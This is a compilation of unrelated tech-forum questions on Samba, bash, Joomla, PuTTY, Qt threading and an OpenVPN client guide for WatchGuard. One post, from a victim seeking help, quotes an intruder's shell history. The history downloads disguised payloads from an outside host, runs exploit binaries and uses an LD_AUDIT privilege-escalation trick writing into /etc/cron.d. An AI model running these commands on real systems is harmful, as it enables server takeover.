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  • How can calculus and linear algebra be useful to a system programmer?

    - by Victor
    I found a website saying that calculus and linear algebra are necessary for System Programming. System Programming, as far as I know, is about osdev, drivers, utilities and so on. I just can't figure out how calculus and linear algebra can be helpful on that. I know that calculus has several applications in science, but in this particular field of programming I just can't imagine how calculus can be so important. The information was on this site: http://www.wikihow.com/Become-a-Programmer Edit: Some answers here are explaining about algorithm complexity and optimization. When I made this question I was trying to be more specific about the area of System's Programming. Algorithm complexity and optimization can be applied to any area of programming not just System's Programming. That may be why I wasn't able to came up with such thinking at the time of the question.

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  • Media server...serving files...............for a limited time only

    - by Craig
    I’m new to Ubuntu and am seeking help with a media server I have built. I have a couple of HTPCs in my house running XBMC. I wanted to build one for the family room working double duty as a HTPC, and media server to share movies, TV shows, music, etc. on my Windows network. So using some spare old parts I had lying around I decided to go CRAZY and build my first Linux box. I used Ubuntu because it seemed to be the most user friendly variant, especially for people that are new to Linux. I had to do a few things to get the media files shared properly on my network: Made sure my two media drives auto-mount every time I boot the computer by editing the “fstab” file – “sudo nano /etc/fstab” Installed Samba - “sudo apt-get install samba” Set a password for Samba - “sudo smbpasswd –a USERNAME” Edited the Samba configuration file to make sure the computer was in my networks workgroup – “sudo nano /etc/samba/smb.conf” In the file manager (not sure if that’s the right name for it), I right-clicked my media folders and set the sharing and permissions. The sharing was done without guest access, and permissions were set to; Owner, Group, and Others - Access: Create and Delete Files. Adjusted the Power Management settings to never put the system into sleep mode. I checked to see if I had access to the files from a Windows 7 machine and I did (Woo Hoo!). But when I tried to play any of my video files from the Windows machine (using VLC media player), they would only play for about 2-5 minutes and then they would stop with an error message saying that the file could not be accessed (Booo...). I tried playing some files through XBMC running in Windows and they worked for a bit longer (about 10-15mins), but they also stopped playing. I installed the Linux version of XBMC on the server and played the files locally with no problems. It doesn’t seem to be an issue with the files themselves, it seems to be a sharing problem on my network. So my question to the Ubuntu gurus out there is: Did I miss adding/editing something in the Samba configuration file? Did I use the right method to share my media files (file manager vs. using the terminal)? Is it possible for the computer to still go to sleep without the screen going black (does that even make sense?). Are there any special settings in Ubuntu that I should be using since this computer as a media server (is there a media server mode?...!...?). Any help on this matter would be greatly appreciated. Thanks

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  • no sudo permissions to /etc/hostname

    - by Pagis
    When I try to edit my /etc/hostname file, using sudo nano /etc/hostname (or any other editor) I get the following: Error writing /etc/hostname: Permission denied I then tried: sudo chmod u+w ./hostname And got the error: chmod: changing permissions of `./hostname': Operation not permitted I get the same error trying to add write permissions to any use or group. This is what ls shows: -rw-r--r-- 1 root root 22 2012-06-18 12:25 /etc/hostname Any idea why and what can I do about it? I'm running Ubuntu 11.10.

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  • SH404SEF URLs in Joomla 1.5

    - by Tao Bellamine
    I have two modules to play with urls, the global configuration module and the sh404sef module. The global config is set to "Sef urls: YES" and "mod rewrite enabled: YES" and the sh404sef is set "url optimization: NO". My problem is, even with "Sef urls" set in the global config, my urls still don't seem to be that "user friendly" so I turn on the "Url optimization" using the sh404sef module, and I get better descriptive urls. However, the problem I inherit from doing this is that my dynamically populated chronoforms get messed up (only the chrono forms, other forms are fine); These forms are now showing up at the homepage instead of their own reserved page. Here's an example: Old form "GOOD" url: http://www.mycraftwork.com/index.php?option=com_content&view=article&id=94 New optimized "BAD" URL: http://www.mycraftwork.com/handthrown-pottery/alladin-teapot/index.php?option=com_content&view=article&id=94 Any help would be GREATLY appreciated! I can even turn the sh404sef on and off if some people are interested in seeing the issue LIVE. Thanks!! Tao Bellamine

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  • How to configure Google Analytics experiments manually

    - by John
    I wish to run multivariate tests on an e-commerce site that run across all product pages. I will be setting and deciding the variations myself all I need to do is track the results in GA. I think may be possible (although only A/B testing is available via the GA UI): https://developers.google.com/analytics/devguides/platform/features/experiments#serving-framework EXTERNAL – You will choose variations, handle experiment optimization, and only report the chosen variation to Google Analytics. For example, this should be used by 3rd-party optimization platforms that want to integrate with Google Analytics for reporting purposes. In this case, the Google Analytics statistical engine will not run. However how do I configure this and push the data to GA in my page?

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  • trouble chaining proxies

    - by proxy error
    trouble chaining proxies hows it going? i am having trouble chaining proxies. i open terminal, run nano /etc/proxychains.conf i add the list like this [ProxyList] add proxy here ... meanwile defaults set to "tor" socks4 127.0.0.1 9050 socks5 59.21.114.99 5577 i open a new tab, run proxychains firefox all i get is this ProxyChains-3.1 (http://proxychains.sf.net) firefox opens but when i google my ip address it is not what it says in the list pleaqse help

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  • Tips to Keep in Mind While Choosing an SEO Company

    If you own a website and want to have the serious profit with the help of that website then you have to find some of the ethical means by which the website can be promoted in the market and more crowds can come on your site. For this you can take advice from the people who are already into this business and can share some ideas with them. Nowadays the most common technique which is being used in the market is the SEO also known as Search Engine Optimization. There are many people on the web world who are familiar with this term but don't have a full idea. For such people there are many Search Engine Optimization Companies which are assisting the people.

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  • What does the SEO market look like? [closed]

    - by TheEconomist
    I'm an economist (aspiring economist, if we are being technical) and my curiousity has been recently piqued by search engine optimization services. I had the following questions. 1) What industries most widely use search engine optimization services? 2) Is it small business or big firms that use SEO services typically? 3) What is SEO pricing typically dependent upon and how much is it on average? 4) Do SEO services really increase traffic? Is there a dataset I can get a hold of for this sort of thing? I am not looking for answers to the questions necessarily. Although answers would help, a nudge in the right direction is more than sufficient, and greatly appreciated. Thank you!

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  • How to reset Bash on Mac OSX, .bash_profile corrupted and bash no longer works

    - by user1463172
    I am on a MacBook Pro, running the latest version of Mountain Lion. I really need some help, I have managed some how to damage my .bash_profile (I think) so that every time I open up the terminal I get the error listed below. -bash: export: `/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/local/go/bin': not a valid identifier -bash: export: `/Users/rob/Applications/sbt/bin:': not a valid identifier env: bash: No such file or directory env: bash: No such file or directory env: bash: No such file or directory env: bash: No such file or directory env: bash: No such file or directory -bash: tar: command not found -bash: grep: command not found -bash: cat: command not found -bash: find: command not found I am not sure what has happened, I have no sudo, cd or any normal commands. The only way I have been able to get to any of the main directories is through the go to folder command in finder and try to find the file to no avail. To top it all off I think I created a file that might be causing the issue, I wanted to edit the .bash_profile so I typed sudo nano ./bash_profile This open a new file in nano which I think was then saved. After this I opened the real .bash_profile to add in the path for node.js. If I can get to the .bash_profile I think I can get it back on track but I can't find it, should I reinstall bash? If so how would I do that on a mac, I tried using brew install bash to which I get -bash: brew: command not found I am really stuck if anyone can help I would be really appreciated. Many thanks

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  • How can I tell which page is creating a high-CPU-load httpd process?

    - by Greg
    I have a LAMP server (CentOS-based MediaTemple (DV) Extreme with 2GB RAM) running a customized Wordpress+bbPress combination . At about 30k pageviews per day the server is starting to groan. It stumbled earlier today for about 5 minutes when there was an influx of traffic. Even under normal conditions I can see that the virtual server is sometimes at 90%+ CPU load. Using Top I can often see 5-7 httpd processes that are each using 15-30% (and sometimes even 50%) CPU. Before we do a big optimization pass (our use of MySQL is probably the culprit) I would love to find the pages that are the main offenders and deal with them first. Is there a way that I can find out which specific requests were responsible for the most CPU-hungry httpd processes? I have found a lot of info on optimization in general, but nothing on this specific question. Secondly, I know there are a million variables, but if you have any insight on whether we should be at the boundaries of performance with a single dedicated virtual server with a site of this size, then I would love to hear your opinion. Should we be thinking about moving to a more powerful server, or should we be focused on optimization on the current server?

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  • Server Bash Line Wrapping Over Text & In Wrong Place

    - by Pez Cuckow
    This is quite a hard problem to explain, when connecting to one of my servers using the bash shell, under any user the line wrapping is broken and has all sorts of problems. Once of which I detail in screenshots below: Other problems I experience include nano getting very confused about which line and or letter I am on, as shown by typing the same message into nano: These problems only occur when connecting as I previously mentioned to one of my servers which runs CentOs. Do you know why this is occurring and what I can do to fix it? On other servers the message works fine! Thanks for your time, Output of requested commands: Server that doesn't work properly: Working server: Could it perhaps be the custom prompt on the non working server? In .bashrc PS1='\e[1;32m\u@\h\e[m:\e[1;34m\w\e[m$ ' Commenting this out appeared to resolve the problem. Google says line wrapping errors can occur if you don't conform to these rules use the \[ escape to begin a sequence of non-printing characters, and the \] escape to signal the end of such a sequence I am not sure where this would fit in on my prompt?

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  • Ubuntu Server hack

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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  • make pentaho report for ubuntu 11.04

    - by Hendri
    currently i'm trying to install Pentaho Reports for OpenERP which is refer from https://github.com/WillowIT/Pentaho-...rver/build.xml i ever installed on some laptops which is Windows Based and it's working, but currently i'm trying on UBuntu 11.04 OS, it prompted me error like this "error build.xml:18: failed to create task or type.." below is the steps i did : 1. install java-6-openjdk comment : "apt-get install java-6-openjdk" then i set installed java jdk into java_home environment command: "nano /etc/environment" add environment with this new line : JAVA_HOME="/usr/lib/jvm/java-6-openjdk" I install apache ant command : "apt-get install ant" followed by setting the evnironment command: "nano /etc/environment" add environment with this new line : ANT_HOME="/usr/share/ant" try to check installation with command "ant"... I get message like this: Buildfile: build.xml does not exist! Build failed then download java server from https://github.com/WillowIT/Pentaho-...rver/build.xml and then copied to Ubuntu share folder and then on command form, i goto extracted path which is share folder i mentioned and executed command "ant war " and i got error message : BUILD FAILED /share/java_server/build.xml:18: problem: failed to create task or type antlibrg:apacge.ivy.ant:retrieve cause: The name is undefined. Action:Check the spelling. Action:Check that any custom taks/types have been declared Action:Check that any /declarations have taken place. No types or taks have been defined in this namespace yet This appears to be an antlib declaration. Action:Check that the implementing library exists in one of: -/usr/share/ant/lib -/root/.ant/lib -a directory added on the command line with the -lib argument Total time:0 seconds is there any compability issue? or i miss out some steps? i'm in the some project to rush with for reporting, so please help me to solve this issue i look forward to your corporation to help me solve this issue, thanks a lot in advance Thx Best Regards,

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  • PuTTY inserts random characters during a session

    - by Zachary Polikarpus
    I recently started renting space on a remote server so that I could work on a project. I found that a relatively painless way to access it on a windows machine is through PuTTY. However, there is one thing that has always irked me when using it: for seemingly no reason random characters are sometimes inserted at the cursor. Most of the time it is just a single tilde, but rarely it spits out what looks like some escape sequence ([[^8 or the like). It will only occur when I am focused on the window, whether I am typing or 20 feet away from the keyboard. If left for long enough, it will spit tildes at random intervals (average is about 1 minute). Finally, this behavior seems to be inconsistant when running programs such as nano or the mysql interface: in nano, instead of inserting tildes, it will set marks (ctrl-^); in mysql, lines will become un-editable. My question is this: Has anyone else experienced this sort of behavior in PuTTY? And if so, what can be done to prevent/correct this behavior?

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  • Apache on CentOS 5.9 VM serves my optimized images corrupted (but my Mac doesn't)

    - by Robert K
    I'm using a Vagrant VM to mirror the client's environment as closely as I can. As part of our build process we do no optimization of assets early on; that comes as we're ready to take a site live. Needless to say, this issue is beginning to worry me as we need to take the site live very soon. I use ImageOptim to automate optimization of image assets, which runs a whole series of tools (Zopfli, PNGOUT, OptiPNG, AdvPNG, PNGCrush). I always set the optimizations to their maximum setting. After optimization, my PNGs start looking like this: What's weird is, if I serve the same file through my Mac's copy of Apache, not through Vagrant, the image loads fine. In fact, the only time it's ever corrupt like this is when the image is served from the Vagrant VM and its install of Drupal. All optimized JPEGs display only the first ~20% of the image. And PNGs, depending on the image, may show either a portion or the "progressive"-style corruption below. The browser itself makes no difference, the same browser will serve an uncorrupted image from my Mac's Apache instance and a corrupt image from the VM. When I disable all PNG optimizations except PNGCrush, and the removal of the PNG metadata, the image is served corrupted. I'm optimizing JPEG images with JPEGmini. The server is running CentOS 5.9, Apache 2.2.3-85, PHP 5.3.3, and Drupal 7. As best as I can tell the error lies somewhere within the VM, either with Apache or with (perhaps) the network stack. Seems like the tools that optimize the compression of the PNGs and JPEGs are what trigger this error. I've already determined that the .htaccess file isn't interfering with how the images load. What should I try to troubleshoot this?

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  • cool project to use a genetic algorithm for?

    - by Ryan
    I'm looking for a practical application to use a genetic algorithm for. Some things that have thought of are: Website interface optimization Vehicle optimization with a physics simulator Genetic programming Automatic test case generation But none have really popped out at me. So if you had some free time (a few months) to spend on a genetic algorithms project, what would you choose to tackle?

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  • How to tell what optimizations bjam is using to build boost

    - by Steve
    I'm building the boost libraries with bjam for both the intel compiler and vs2008, and I can't tell what optimizations are being passed to the compiler from bjam. For one of the compiler's gcc, I can see some optimizations in one of the bjam files, but I can't find the optimization flags for the compilers I care about. So, my questions are - Does anyone know where the default optimization flags are located? If they're declared within bjam, does anyone know how I can override them?

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  • procedure that swaps the bytes (low/high) of a Word variable

    - by Altar
    Hi. I have this procedure that swaps the bytes (low/high) of a Word variable (It does the same stuff as System.Swap function). The procedure works when the compiler optimization is OFF but not when it is ON. Can anybody help me with this? { UNSAFE! IT IS NOW WORKING WHEN COMPILER OPTIMIZATION IS ON ! } procedure SwapWord_NotWorking(VAR TwoBytes: word); asm Mov EBX, TwoBytes Mov AX, [EBX] XCHG AL,AH Mov [EBX], AX end;

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  • Connecting Linux to WatchGuard Firebox SSL (OpenVPN client)

    Recently, I got a new project assignment that requires to connect permanently to the customer's network through VPN. They are using a so-called SSL VPN. As I am using OpenVPN since more than 5 years within my company's network I was quite curious about their solution and how it would actually be different from OpenVPN. Well, short version: It is a disguised version of OpenVPN. Unfortunately, the company only offers a client for Windows and Mac OS which shouldn't bother any Linux user after all. OpenVPN is part of every recent distribution and can be activated in a couple of minutes - both client as well as server (if necessary). WatchGuard Firebox SSL - About dialog Borrowing some files from a Windows client installation Initially, I didn't know about the product, so therefore I went through the installation on Windows 8. No obstacles (and no restart despite installation of TAP device drivers!) here and the secured VPN channel was up and running in less than 2 minutes or so. Much appreciated from both parties - customer and me. Of course, this whole client package and my long year approved and stable installation ignited my interest to have a closer look at the WatchGuard client. Compared to the original OpenVPN client (okay, I have to admit this is years ago) this commercial product is smarter in terms of file locations during installation. You'll be able to access the configuration and key files below your roaming application data folder. To get there, simply enter '%AppData%\WatchGuard\Mobile VPN' in your Windows/File Explorer and confirm with Enter/Return. This will display the following files: Application folder below user profile with configuration and certificate files From there we are going to borrow four files, namely: ca.crt client.crt client.ovpn client.pem and transfer them to the Linux system. You might also be able to isolate those four files from a Mac OS client. Frankly, I'm just too lazy to run the WatchGuard client installation on a Mac mini only to find the folder location, and I'm going to describe why a little bit further down this article. I know that you can do that! Feedback in the comment section is appreciated. Configuration of OpenVPN (console) Depending on your distribution the following steps might be a little different but in general you should be able to get the important information from it. I'm going to describe the steps in Ubuntu 13.04 (Raring Ringtail). As usual, there are two possibilities to achieve your goal: console and UI. Let's what it is necessary to be done. First of all, you should ensure that you have OpenVPN installed on your system. Open your favourite terminal application and run the following statement: $ sudo apt-get install openvpn network-manager-openvpn network-manager-openvpn-gnome Just to be on the safe side. The four above mentioned files from your Windows machine could be copied anywhere but either you place them below your own user directory or you put them (as root) below the default directory: /etc/openvpn At this stage you would be able to do a test run already. Just in case, run the following command and check the output (it's the similar information you would get from the 'View Logs...' context menu entry in Windows: $ sudo openvpn --config client.ovpn Pay attention to the correct path to your configuration and certificate files. OpenVPN will ask you to enter your Auth Username and Auth Password in order to establish the VPN connection, same as the Windows client. Remote server and user authentication to establish the VPN Please complete the test run and see whether all went well. You can disconnect pressing Ctrl+C. Simplifying your life - authentication file In my case, I actually set up the OpenVPN client on my gateway/router. This establishes a VPN channel between my network and my client's network and allows me to switch machines easily without having the necessity to install the WatchGuard client on each and every machine. That's also very handy for my various virtualised Windows machines. Anyway, as the client configuration, key and certificate files are located on a headless system somewhere under the roof, it is mandatory to have an automatic connection to the remote site. For that you should first change the file extension '.ovpn' to '.conf' which is the default extension on Linux systems for OpenVPN, and then open the client configuration file in order to extend an existing line. $ sudo mv client.ovpn client.conf $ sudo nano client.conf You should have a similar content to this one here: dev tunclientproto tcp-clientca ca.crtcert client.crtkey client.pemtls-remote "/O=WatchGuard_Technologies/OU=Fireware/CN=Fireware_SSLVPN_Server"remote-cert-eku "TLS Web Server Authentication"remote 1.2.3.4 443persist-keypersist-tunverb 3mute 20keepalive 10 60cipher AES-256-CBCauth SHA1float 1reneg-sec 3660nobindmute-replay-warningsauth-user-pass auth.txt Note: I changed the IP address of the remote directive above (which should be obvious, right?). Anyway, the required change is marked in red and we have to create a new authentication file 'auth.txt'. You can give the directive 'auth-user-pass' any file name you'd like to. Due to my existing OpenVPN infrastructure my setup differs completely from the above written content but for sake of simplicity I just keep it 'as-is'. Okay, let's create this file 'auth.txt' $ sudo nano auth.txt and just put two lines of information in it - username on the first, and password on the second line, like so: myvpnusernameverysecretpassword Store the file, change permissions, and call openvpn with your configuration file again: $ sudo chmod 0600 auth.txt $ sudo openvpn --config client.conf This should now work without being prompted to enter username and password. In case that you placed your files below the system-wide location /etc/openvpn you can operate your VPNs also via service command like so: $ sudo service openvpn start client $ sudo service openvpn stop client Using Network Manager For newer Linux users or the ones with 'console-phobia' I'm going to describe now how to use Network Manager to setup the OpenVPN client. For this move your mouse to the systray area and click on Network Connections => VPN Connections => Configure VPNs... which opens your Network Connections dialog. Alternatively, use the HUD and enter 'Network Connections'. Network connections overview in Ubuntu Click on 'Add' button. On the next dialog select 'Import a saved VPN configuration...' from the dropdown list and click on 'Create...' Choose connection type to import VPN configuration Now you navigate to your folder where you put the client files from the Windows system and you open the 'client.ovpn' file. Next, on the tab 'VPN' proceed with the following steps (directives from the configuration file are referred): General Check the IP address of Gateway ('remote' - we used 1.2.3.4 in this setup) Authentication Change Type to 'Password with Certificates (TLS)' ('auth-pass-user') Enter User name to access your client keys (Auth Name: myvpnusername) Enter Password (Auth Password: verysecretpassword) and choose your password handling Browse for your User Certificate ('cert' - should be pre-selected with client.crt) Browse for your CA Certificate ('ca' - should be filled as ca.crt) Specify your Private Key ('key' - here: client.pem) Then click on the 'Advanced...' button and check the following values: Use custom gateway port: 443 (second value of 'remote' directive) Check the selected value of Cipher ('cipher') Check HMAC Authentication ('auth') Enter the Subject Match: /O=WatchGuard_Technologies/OU=Fireware/CN=Fireware_SSLVPN_Server ('tls-remote') Finally, you have to confirm and close all dialogs. You should be able to establish your OpenVPN-WatchGuard connection via Network Manager. For that, click on the 'VPN Connections => client' entry on your Network Manager in the systray. It is advised that you keep an eye on the syslog to see whether there are any problematic issues that would require some additional attention. Advanced topic: routing As stated above, I'm running the 'WatchGuard client for Linux' on my head-less server, and since then I'm actually establishing a secure communication channel between two networks. In order to enable your network clients to get access to machines on the remote side there are two possibilities to enable that: Proper routing on both sides of the connection which enables both-direction access, or Network masquerading on the 'client side' of the connection Following, I'm going to describe the second option a little bit more in detail. The Linux system that I'm using is already configured as a gateway to the internet. I won't explain the necessary steps to do that, and will only focus on the additional tweaks I had to do. You can find tons of very good instructions and tutorials on 'How to setup a Linux gateway/router' - just use Google. OK, back to the actual modifications. First, we need to have some information about the network topology and IP address range used on the 'other' side. We can get this very easily from /var/log/syslog after we established the OpenVPN channel, like so: $ sudo tail -n20 /var/log/syslog Or if your system is quite busy with logging, like so: $ sudo less /var/log/syslog | grep ovpn The output should contain PUSH received message similar to the following one: Jul 23 23:13:28 ios1 ovpn-client[789]: PUSH: Received control message: 'PUSH_REPLY,topology subnet,route 192.168.1.0 255.255.255.0,dhcp-option DOMAIN ,route-gateway 192.168.6.1,topology subnet,ping 10,ping-restart 60,ifconfig 192.168.6.2 255.255.255.0' The interesting part for us is the route command which I highlighted already in the sample PUSH_REPLY. Depending on your remote server there might be multiple networks defined (172.16.x.x and/or 10.x.x.x). Important: The IP address range on both sides of the connection has to be different, otherwise you will have to shuffle IPs or increase your the netmask. {loadposition content_adsense} After the VPN connection is established, we have to extend the rules for iptables in order to route and masquerade IP packets properly. I created a shell script to take care of those steps: #!/bin/sh -eIPTABLES=/sbin/iptablesDEV_LAN=eth0DEV_VPNS=tun+VPN=192.168.1.0/24 $IPTABLES -A FORWARD -i $DEV_LAN -o $DEV_VPNS -d $VPN -j ACCEPT$IPTABLES -A FORWARD -i $DEV_VPNS -o $DEV_LAN -s $VPN -j ACCEPT$IPTABLES -t nat -A POSTROUTING -o $DEV_VPNS -d $VPN -j MASQUERADE I'm using the wildcard interface 'tun+' because I have multiple client configurations for OpenVPN on my server. In your case, it might be sufficient to specify device 'tun0' only. Simplifying your life - automatic connect on boot Now, that the client connection works flawless, configuration of routing and iptables is okay, we might consider to add another 'laziness' factor into our setup. Due to kernel updates or other circumstances it might be necessary to reboot your system. Wouldn't it be nice that the VPN connections are established during the boot procedure? Yes, of course it would be. To achieve this, we have to configure OpenVPN to automatically start our VPNs via init script. Let's have a look at the responsible 'default' file and adjust the settings accordingly. $ sudo nano /etc/default/openvpn Which should have a similar content to this: # This is the configuration file for /etc/init.d/openvpn## Start only these VPNs automatically via init script.# Allowed values are "all", "none" or space separated list of# names of the VPNs. If empty, "all" is assumed.# The VPN name refers to the VPN configutation file name.# i.e. "home" would be /etc/openvpn/home.conf#AUTOSTART="all"#AUTOSTART="none"#AUTOSTART="home office"## ... more information which remains unmodified ... With the OpenVPN client configuration as described above you would either set AUTOSTART to "all" or to "client" to enable automatic start of your VPN(s) during boot. You should also take care that your iptables commands are executed after the link has been established, too. You can easily test this configuration without reboot, like so: $ sudo service openvpn restart Enjoy stable VPN connections between your Linux system(s) and a WatchGuard Firebox SSL remote server. Cheers, JoKi

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  • Qt C++ signals and slots did not fire

    - by Xegara
    I have programmed Qt a couple of times already and I really like the signals and slots feature. But now, I guess I'm having a problem when a signal is emitted from one thread, the corresponding slot from another thread is not fired. The connection was made in the main program. This is also my first time to use Qt for ROS which uses CMake. The signal fired by the QThread triggered their corresponding slots but the emitted signal of my class UserInput did not trigger the slot in tflistener where it supposed to. I have tried everything I can. Any help? The code is provided below. Main.cpp #include <QCoreApplication> #include <QThread> #include "userinput.h" #include "tfcompleter.h" int main(int argc, char** argv) { QCoreApplication app(argc, argv); QThread *thread1 = new QThread(); QThread *thread2 = new QThread(); UserInput *input1 = new UserInput(); TfCompleter *completer = new TfCompleter(); QObject::connect(input1, SIGNAL(togglePause2()), completer, SLOT(toggle())); QObject::connect(thread1, SIGNAL(started()), completer, SLOT(startCounting())); QObject::connect(thread2, SIGNAL(started()), input1, SLOT(start())); completer->moveToThread(thread1); input1->moveToThread(thread2); thread1->start(); thread2->start(); app.exec(); return 0; } What I want to do is.. There are two seperate threads. One thread is for the user input. When the user enters [space], the thread emits a signal to toggle the boolean member field of the other thread. The other thread 's task is to just continue its process if the user wants it to run, otherwise, the user does not want it to run. I wanted to grant the user to toggle the processing anytime that he wants, that's why I decided to bring them into seperate threads. The following codes are the tflistener and userinput. tfcompleter.h #ifndef TFCOMPLETER_H #define TFCOMPLETER_H #include <QObject> #include <QtCore> class TfCompleter : public QObject { Q_OBJECT private: bool isCount; public Q_SLOTS: void toggle(); void startCounting(); }; #endif tflistener.cpp #include "tfcompleter.h" #include <iostream> void TfCompleter::startCounting() { static uint i = 0; while(true) { if(isCount) std::cout << i++ << std::endl; } } void TfCompleter::toggle() { // isCount = ~isCount; std::cout << "isCount " << std::endl; } UserInput.h #ifndef USERINPUT_H #define USERINPUT_H #include <QObject> #include <QtCore> class UserInput : public QObject { Q_OBJECT public Q_SLOTS: void start(); // Waits for the keypress from the user and emits the corresponding signal. public: Q_SIGNALS: void togglePause2(); }; #endif UserInput.cpp #include "userinput.h" #include <iostream> #include <cstdio> // Implementation of getch #include <termios.h> #include <unistd.h> /* reads from keypress, doesn't echo */ int getch(void) { struct termios oldattr, newattr; int ch; tcgetattr( STDIN_FILENO, &oldattr ); newattr = oldattr; newattr.c_lflag &= ~( ICANON | ECHO ); tcsetattr( STDIN_FILENO, TCSANOW, &newattr ); ch = getchar(); tcsetattr( STDIN_FILENO, TCSANOW, &oldattr ); return ch; } void UserInput::start() { char c = 0; while (true) { c = getch(); if (c == ' ') { Q_EMIT togglePause2(); std::cout << "SPACE" << std::endl; } c = 0; } } Here is the CMakeLists.txt. I just placed it here also since I don't know maybe the CMake has also a factor here. CMakeLists.txt ############################################################################## # CMake ############################################################################## cmake_minimum_required(VERSION 2.4.6) ############################################################################## # Ros Initialisation ############################################################################## include($ENV{ROS_ROOT}/core/rosbuild/rosbuild.cmake) rosbuild_init() set(CMAKE_AUTOMOC ON) #set the default path for built executables to the "bin" directory set(EXECUTABLE_OUTPUT_PATH ${PROJECT_SOURCE_DIR}/bin) #set the default path for built libraries to the "lib" directory set(LIBRARY_OUTPUT_PATH ${PROJECT_SOURCE_DIR}/lib) # Set the build type. Options are: # Coverage : w/ debug symbols, w/o optimization, w/ code-coverage # Debug : w/ debug symbols, w/o optimization # Release : w/o debug symbols, w/ optimization # RelWithDebInfo : w/ debug symbols, w/ optimization # MinSizeRel : w/o debug symbols, w/ optimization, stripped binaries #set(ROS_BUILD_TYPE Debug) ############################################################################## # Qt Environment ############################################################################## # Could use this, but qt-ros would need an updated deb, instead we'll move to catkin # rosbuild_include(qt_build qt-ros) rosbuild_find_ros_package(qt_build) include(${qt_build_PACKAGE_PATH}/qt-ros.cmake) rosbuild_prepare_qt4(QtCore) # Add the appropriate components to the component list here ADD_DEFINITIONS(-DQT_NO_KEYWORDS) ############################################################################## # Sections ############################################################################## #file(GLOB QT_FORMS RELATIVE ${CMAKE_CURRENT_SOURCE_DIR} ui/*.ui) #file(GLOB QT_RESOURCES RELATIVE ${CMAKE_CURRENT_SOURCE_DIR} resources/*.qrc) file(GLOB_RECURSE QT_MOC RELATIVE ${CMAKE_CURRENT_SOURCE_DIR} FOLLOW_SYMLINKS include/rgbdslam_client/*.hpp) #QT4_ADD_RESOURCES(QT_RESOURCES_CPP ${QT_RESOURCES}) #QT4_WRAP_UI(QT_FORMS_HPP ${QT_FORMS}) QT4_WRAP_CPP(QT_MOC_HPP ${QT_MOC}) ############################################################################## # Sources ############################################################################## file(GLOB_RECURSE QT_SOURCES RELATIVE ${CMAKE_CURRENT_SOURCE_DIR} FOLLOW_SYMLINKS src/*.cpp) ############################################################################## # Binaries ############################################################################## rosbuild_add_executable(rgbdslam_client ${QT_SOURCES} ${QT_MOC_HPP}) #rosbuild_add_executable(rgbdslam_client ${QT_SOURCES} ${QT_RESOURCES_CPP} ${QT_FORMS_HPP} ${QT_MOC_HPP}) target_link_libraries(rgbdslam_client ${QT_LIBRARIES})

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